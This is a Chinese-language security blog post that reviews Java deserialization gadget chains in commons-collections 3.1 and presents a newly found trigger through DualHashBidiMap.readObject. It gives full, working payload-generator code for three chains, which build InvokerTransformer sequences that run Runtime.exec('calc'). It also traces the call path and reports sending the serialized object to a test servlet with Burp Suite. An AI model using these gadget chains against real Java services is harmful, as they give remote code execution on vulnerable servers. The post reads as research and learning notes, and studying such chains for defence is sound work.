首頁>技術>

一、前言:

總感覺年紀大了,腦子不好使,看過的東西很容易就忘了,最近兩天又重新看了下java反序列化漏洞利用鏈相關技術,並嘗試尋找新的利用鏈,最後找到commons-collections中的類DualHashBidiMap能夠觸發利用鏈,不依賴於JDK,然後對比了ysoserial程式碼,暫未發現使用DualHashBidiMap類的觸發的方式,遂記之。

二、環境準備

JDK1.8

IDEA

commons-collections-3.1.jar

這裡IDEA需要更改下除錯情況下的配置,最好將劃圈的兩個標識去掉。這裡在漏洞跟蹤除錯時可能會出現大坑。

Idea debug模式下

Enable alternative選項,idea會修改Collections物件結構

Enable toString選項,idea會自動呼叫 java類重寫的toString() 函式

這兩個選項在除錯模式下可能會嚴重影響程式碼的執行流程。

我自己在跟蹤TiedMapEntry程式碼時就遇到這個問題,TiedMapEntry類重寫了toString()函式,我們的利用鏈都是Collections相關的物件,所以在除錯時程式碼流程始終沒有按照預期的執行,非除錯模式下又都正常,後來發現了除錯模式下的這兩個選項影響了程式流程。

二、歷史利用鏈簡單回顧

Java反序列化利用技術,總感覺長時間不看就記不清了,於是就重新回顧了下最基本的利用方式,分析跟蹤了ChainedTransformer和InvokerTransformer流程,又看了兩個觸發readObject函式的類AnnotationInvocationHandler和BadAttributeValueExpException,大概對反序列化過程又有了個清晰的認識。這方面網上分析的文章已經很多了,具體過程不再贅述,下面僅貼下簡單的利用程式碼,以供參考

public static void generatePayload1() throws Exception {    Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {            String.class,            Class[].class        },        new Object[] {            "getRuntime",            new Class[0]        }),        new InvokerTransformer("invoke", new Class[] {            Object.class,            Object[].class        },        new Object[] {            null,            new Object[0]        }),        new InvokerTransformer("exec", new Class[] {            String.class        },        new Object[] {            "calc"        })    };    Transformer transformerChain = new ChainedTransformer(transformers);    Map innermap = new HashMap();    innermap.put("value", "value");    Map payloadMap = TransformedMap.decorate(innermap, null, transformerChain);    //在反序列化時,利用AnnotationInvocationHandler類的readObject觸發    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    Constructor m_ctor = cls.getDeclaredConstructor(Class.class, Map.class);    m_ctor.setAccessible(true);    Object payload_instance = m_ctor.newInstance(Retention.class, payloadMap);    MySerializeUtil.serializeToFile(payload_instance, "CommonsCollections1Test1.ser");}
public static void generatePayload2() throws Exception {    Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };    //使用ChainedTransformer組合利用鏈    Transformer transformerChain = new ChainedTransformer(transformers);    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);    TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha");    BadAttributeValueExpException payload_exception = new BadAttributeValueExpException(null);    Field valField = payload_exception.getClass().getDeclaredField("val");    valField.setAccessible(true);    valField.set(payload_exception, entry);    MySerializeUtil.serializeToFile(payload_exception, "CommonsCollections1Test2.ser");} 
三、新利用鏈挖掘

與其說是新利用鏈的挖掘,不如說新的觸發點的尋找,上面兩個利用鏈的漏洞觸發類分別是JDK中的AnnotationInvocationHandler和BadAttributeValueExpException,在分析完上面兩中利用鏈流程後,為了檢驗自己的認識水平,就想嘗試自己尋找一個觸發點。

尋找觸發點唯一原則就是尋找一個實現了readObject()函式的類,並且在readObject()函式中執行了一定的操作。按照這個思路,先在idea中全域性搜尋readObject()函式

本來我只想找個觸發點,並沒想一定找個與JDK無關的,我先在依賴庫中查詢(如果找不到再到JDK中找),簡單的過一遍找到的readObject函式,當看到org.apache.commons.collections.bidimap.DualHashBidiMap的readObject()函式時,感覺有可能達到觸發利用鏈效果,程式碼如下

readObject中有多餘的操作putAll(map)其程式碼如下

這裡我們看到map進行了get(key)和get(value)操作。如果你之前分析過LazyMap的觸發流程,我們就知道LazyMap.get(key)函式會觸發ChainedTransformer和InvokerTransformer這個執行鏈,最後達到任意程式碼執行,LazyMap.get(key)程式碼如下。

看到這裡,就感覺DualHashBidiMap類有戲,很有可能觸發漏洞。於是簡單的分析下該類的結構。

writeObject()函式實現了了將maps[0]序列化,與readObject()中的Map map = (Map) in.readObject();剛好對應,剩下的就是如何控制maps[0]的值,

public abstract class AbstractDualBidiMap implements BidiMap {    protected transient final Map[] maps = new Map[2];...    protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {        super();        maps[0] = normalMap;        maps[1] = reverseMap;        this.inverseBidiMap = inverseBidiMap;    }...}

分析可知DualHashBidiMap的父類AbstractDualBidiMap中定義了maps變數,並且呼叫函式AbstractDualBidiMap()進行賦值。所有我們可以透過

protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {    super(normalMap, reverseMap, inverseBidiMap);}

函式對maps進行賦值。

由與該函式是protected型別,所以需要使用反射機制。編寫測試程式碼

public static void generatePayload3() throws Exception {    Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };    //使用ChainedTransformer組合利用鏈    Transformer transformerChain = new ChainedTransformer(transformers);    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);    TiedMapEntry entry = new TiedMapEntry(lazyMap, "haha");        Map<String, Object> payload_map = new HashMap<String, Object>();    payload_map.put("test", entry);    Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");    Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);    m_ctor.setAccessible(true);    Object payload_instance = m_ctor.newInstance(payload_map, null, null);    FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");    ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);    outputStream.writeObject(payload_instance);    outputStream.close();}

編寫簡單的Servlet進行測試

使用burpsuit傳送,成功彈出計算器。

四、跟蹤除錯

程式執行到putAll(map),此時map的值已經是我們構造的HashMap,並有value值LazyMap。

單步執行,觀察變數的變化,程式執行玩maps[1].containsKey(value)之後彈出了計算器,與我們預測的有點不一樣。重新執行程式,跟進containsKey(value)觀察原因。

HaskMap的containsKey()函式如下,

public boolean containsKey(Object key) {    return getNode(hash(key), key) != null;}

其中hash(key)程式碼如下:

此時執行key.hashcode(),即執行TiedMapEntry.hashCode()

最後執行InvokerTransformer鏈,雖然與開始預測的有點不一樣,但最終從另外一條路觸發了關鍵函式。

整個漏洞觸發的過程如下:

DualHashBidiMap->readObject()

DualHashBidiMap->putAll()

DualHashBidiMap->put()

HashMap->containsKey()

HashMap->hash()

TiedMapEntry->hashCode()

TiedMapEntry->getValue()

LazyMap->get()

ChainedTransformer->transform()

InvokerTransformer->transform()

由於整個過程觸發readObject的類是在commons-collections庫中的,後面執行程式碼的利用鏈也是在commons-collections中,所有整個利用鏈與jdk版本無關,只與commons-collections版本有關。

五、結束

在全域性搜尋readObject時,發現commons-collections中還有個類DualTreeBidiMap,和我們這裡使用的DualHashBidiMap類幾乎一樣,猜測也能達到該效果,有興趣的可以試下。

16
  • BSA-TRITC(10mg/ml) TRITC-BSA 牛血清白蛋白改性標記羅丹明
  • 自學鴻蒙應用開發(30)- 自定義UI元件(1)